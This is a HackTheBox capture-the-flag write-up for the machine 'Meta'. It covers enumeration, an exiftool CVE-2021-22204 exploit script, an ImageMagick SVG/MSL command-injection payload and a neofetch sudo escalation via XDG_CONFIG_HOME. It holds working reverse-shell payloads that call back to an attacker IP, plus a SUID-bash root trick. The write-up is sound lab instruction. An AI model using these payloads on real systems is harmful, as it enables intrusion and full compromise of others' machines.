Meta is a medium rated machine on HackTheBox created by Nauten. For the user part we will abuse a CVE in exiftool to obtain a reverse shell on the machine. This will be followed up by another CVE inside ImageMagick which will give us a shell as another user. To escalate to root we will modify a config file for neofetch which we are able to run using sudo.
User
As usual we start our enumeration with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.
Nmap
All ports
1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -n -T4 10.129.166.252
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-22 22:40 CET
Nmap scan report for 10.129.166.252
Host is up (0.027s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 529.64 seconds
Script and version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -sC -sV -p22,80 -n 10.129.166.252
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-22 22:52 CET
Nmap scan report for 10.129.166.252
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
| 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds
Exfitool
The nmap scan leaks the hostname artcorp.htb
so we add it to our /etc/hosts
. Opening the page up in our browser it looks like a completly static webpage without much functionality.
Checking for additional vhosts using ffuf we are able to find dev01.artcorp.htb
which we also add to our /etc/hosts
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.artcorp.htb' -u http://10.129.166.252 -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.129.166.252
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.artcorp.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 0
________________________________________________
dev01 [Status: 200, Size: 247, Words: 16, Lines: 10]
Going there we see a development page with only one application available.
Clicking on MetaView
there is a file upload form which tells us to upload an image to display metadata.
Uploading a test jpg
the output looks like straight from exiftool.
There has been a recent CVE(CVE-2021-22204)with remote code execution in exiftool. Using this PoC where we only have to adjust our ip address to tun0 and the port to where we want to catch the reverse shell we can generate an image that sends a python reverse shell back to our machine.
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/env python3
import base64
import subprocess
ip = '10.10.14.73'
port = '7575'
payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"
payload = payload + base64.b64encode( f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}'))));".encode() )
payload = payload + b"'))};\")"
payload_file = open('payload', 'w')
payload_file.write(payload.decode('utf-8'))
payload_file.close()
subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg'])
Running the script the image is getting updated with the payload.
1
2
$ python3 exploit.py
1 image files updated
Now we just have to set up a listener on the port we specified and upload the generated image to the website.
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
After we click the upload button the page hangs and we get a connection back on our ncat listener as www-data which we upgrade using python and fix the terminal size.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.166.252.
Ncat: Connection from 10.129.166.252:43968.
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ export TERM=xterm
export TERM=xterm
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ ^Z
[1] + 43617 suspended nc -lnvp 7575
$ stty raw -echo;fg
[1] + 43617 continued nc -lnvp 7575
www-data@meta:/var/www/dev01.artcorp.htb/metaview$
ImageMagick
Taking a look around on the system and monitoring for running processes there seems to be a cronjob being run by the user thomas who has the uid of 1000.
1
2
3
2022/01/22 17:13:01 CMD: UID=0 PID=1441 | /usr/sbin/CRON -f
2022/01/22 17:13:01 CMD: UID=1000 PID=1442 | /bin/bash /usr/local/bin/convert_images.sh
2022/01/22 17:13:01 CMD: UID=1000 PID=1444 | pkill mogrify
Checking the script it cd’s into the directory /var/www/dev01.artcorp.htb/convert_images
and then calls /usr/local/bin/mogrify
on all files machting *.*
with an output format of png.
/usr/local/bin/convert_images.sh
1
2
3
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify
Taking a closer look at the mogrify it is actually a symlink to magick
which is part of ImageMagick.
1
2
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ ls -la /usr/local/bin/mogrify
lrwxrwxrwx 1 root root 6 Aug 29 15:59 /usr/local/bin/mogrify -> magick
To check for possible CVE’s in ImageMagick we need the version number first.
1
2
3
4
5
6
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ mogrify --version
Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org
Copyright: © 1999-2020 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): fontconfig freetype jng jpeg png x xml zlib
Looking the version up on google we are able to find a PoC which should work with the installed version of ImageMagick. The PoC abuses the the authentication mechanism for password protected PDF’s to pass additional shell commands. To abuse this we first we generate a base64 encoded reverse shell payload.
1
2
$ echo -n 'bash -c "bash -i >&/dev/tcp/10.10.14.73/7575 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjczLzc1NzUgMD4mMSI=
We then take the poc.svg
from the blogpost and exchange the payload with our reverse shell.
poc.svg
1
2
3
4
5
6
7
8
9
<image authenticate='ff" `echo -n YmFzaCAtYyAiYmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjczLzc1NzUgMD4mMSI= | base64 -d | bash`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
All we have to do now is to set up a ncat listener and to drop the file in the /var/www/dev01.artcorp.htb/convert_images
on the target machine.
1
2
3
4
nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:757
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ wget 10.10.14.73/poc.svg -O poc.svg
--2022-01-22 17:18:46-- http://10.10.14.73/poc.svg
Connecting to 10.10.14.73:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 475 [image/svg+xml]
Saving to: ‘poc.svg’
poc.svg 100%[==========================================================================================================================================>] 475 --.-KB/s in 0s
2022-01-22 17:18:46 (55.3 MB/s) - ‘poc.svg’ saved [475/475]
www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ ls -la
total 12
drwxrwxr-x 2 root www-data 4096 Jan 22 17:18 .
drwxr-xr-x 4 root root 4096 Oct 18 14:27 ..
-rw-r--r-- 1 www-data www-data 475 Jan 22 15:08 poc.svg
After some time we get a connection back as thomas and are able to read the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.166.252.
Ncat: Connection from 10.129.166.252:43978.
bash: cannot set terminal process group (1533): Inappropriate ioctl for device
bash: no job control in this shell
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ges$ python3 -c 'import pty;pty.spawn("/bin/bash")'
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ export TERM=xterm
export TERM=xterm
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ ^Z
[1] + 45412 suspended nc -lnvp 7575
$ stty raw -echo;fg
[1] + 45412 continued nc -lnvp 7575
^C
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ stty rows 57 cols 239
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ wc -c ~/user.txt
33 /home/thomas/user.txt
Root
Checking for sudo permission thomas is able to run /usr/bin/neofetch
as the root user. An interesting point here is the env_keep+=XDG_CONFIG_HOME
flag for the sudoers entry.
env_keep
means that this environment variable will not be reset when calling sudo even though env_reset
is present aswell.
1
2
3
4
5
6
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ sudo -l
Matching Defaults entries for thomas on meta:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME
User thomas may run the following commands on meta:
(root) NOPASSWD: /usr/bin/neofetch \"\"
To see what we can do with this we can look for the variable in the source code of neofetch. The variable is used to declare the configuration directory of neovim. The interesting thing here is that the configuration file for neoftech get’s sourced. This means that anything we put into the configuration file will be eventually executed setting the XDG_CONFIG_HOME
.
/usr/bin/neofetch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env bash
# vim: noai:ts=4:sw=4:expandtab
# shellcheck source=/dev/null
# shellcheck disable=2009
...[snip]...
version="6.0.0"
bash_version="${BASH_VERSION/.*}"
sys_locale="${LANG:-C}"
XDG_CONFIG_HOME="${XDG_CONFIG_HOME:-${HOME}/.config}"
PATH="${PATH}:/usr/xpg4/bin:/usr/sbin:/sbin:/usr/etc:/usr/libexec"
...[snip]...
get_user_config() {
mkdir -p "${XDG_CONFIG_HOME}/neofetch/"
# --config /path/to/config.conf
if [[ -f "$config_file" ]]; then
source "$config_file"
err "Config: Sourced user config. (${config_file})"
return
elif [[ -f "${XDG_CONFIG_HOME}/neofetch/config.conf" ]]; then
source "${XDG_CONFIG_HOME}/neofetch/config.conf"
err "Config: Sourced user config. (${XDG_CONFIG_HOME}/neofetch/config.conf)"
elif [[ -f "${XDG_CONFIG_HOME}/neofetch/config" ]]; then
source "${XDG_CONFIG_HOME}/neofetch/config"
err "Config: Sourced user config. (${XDG_CONFIG_HOME}/neofetch/config)"
else
config_file="${XDG_CONFIG_HOME}/neofetch/config.conf"
# The config file doesn't exist, create it.
printf '%s\n' "$config" > "$config_file"
fi
}
...[snip]...
dynamic_prompt() {
[[ $image_backend == off ]] && { printf '\n'; return; }
[[ $image_backend != ascii ]] && ((lines=(height + yoffset) / font_height + 1))
[[ $image_backend == w3m ]] && ((lines=lines + padding / font_height + 1))
--
[[ "$*" != *--config* ]] && get_user_config
...[snip]...
To abuse this we can simply append a command setting the suid bit on bash to the config file, export the XDG_CONFIG_HOME
variable and run neofetch with sudo. Finally we can use the -p
flag on bash to keep the suid permissions on our modified bash and add the root flag to our collection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ echo 'chmod +s /bin/bash' >> /home/thomas/.config/neofetch/config.conf; export XDG_CONFIG_HOME=/home/thomas/.config/; sudo /usr/bin/neofetch; bash -p
_,met$$$$$gg. root@meta
,g$$$$$$$$$$$$$$$P. ---------
,g$$P" """Y$$.". OS: Debian GNU/Linux 10 (buster) x86_64
,$$P' `$$$. Host: VMware Virtual Platform None
',$$P ,ggs. `$$b: Kernel: 4.19.0-17-amd64
`d$$' ,$P"' . $$$ Uptime: 52 mins
$$P d$' , $$P Packages: 495 (dpkg)
$$: $$. - ,d$$' Shell: bash 5.0.3
$$; Y$b._ _,d$P' CPU: Intel Xeon Gold 5218 (2) @ 2.294GHz
Y$$. `.`"Y$$$$P"' GPU: VMware SVGA II Adapter
`$$b "-.__ Memory: 154MiB / 1994MiB
`Y$$
`Y$$.
`$$b.
`Y$$b.
`"Y$b._
`"""
bash-5.0# id
uid=1000(thomas) gid=1000(thomas) euid=0(root) egid=0(root) groups=0(root),1000(thomas)
bash-5.0# wc -c /root/root.txt
33 /root/root.txt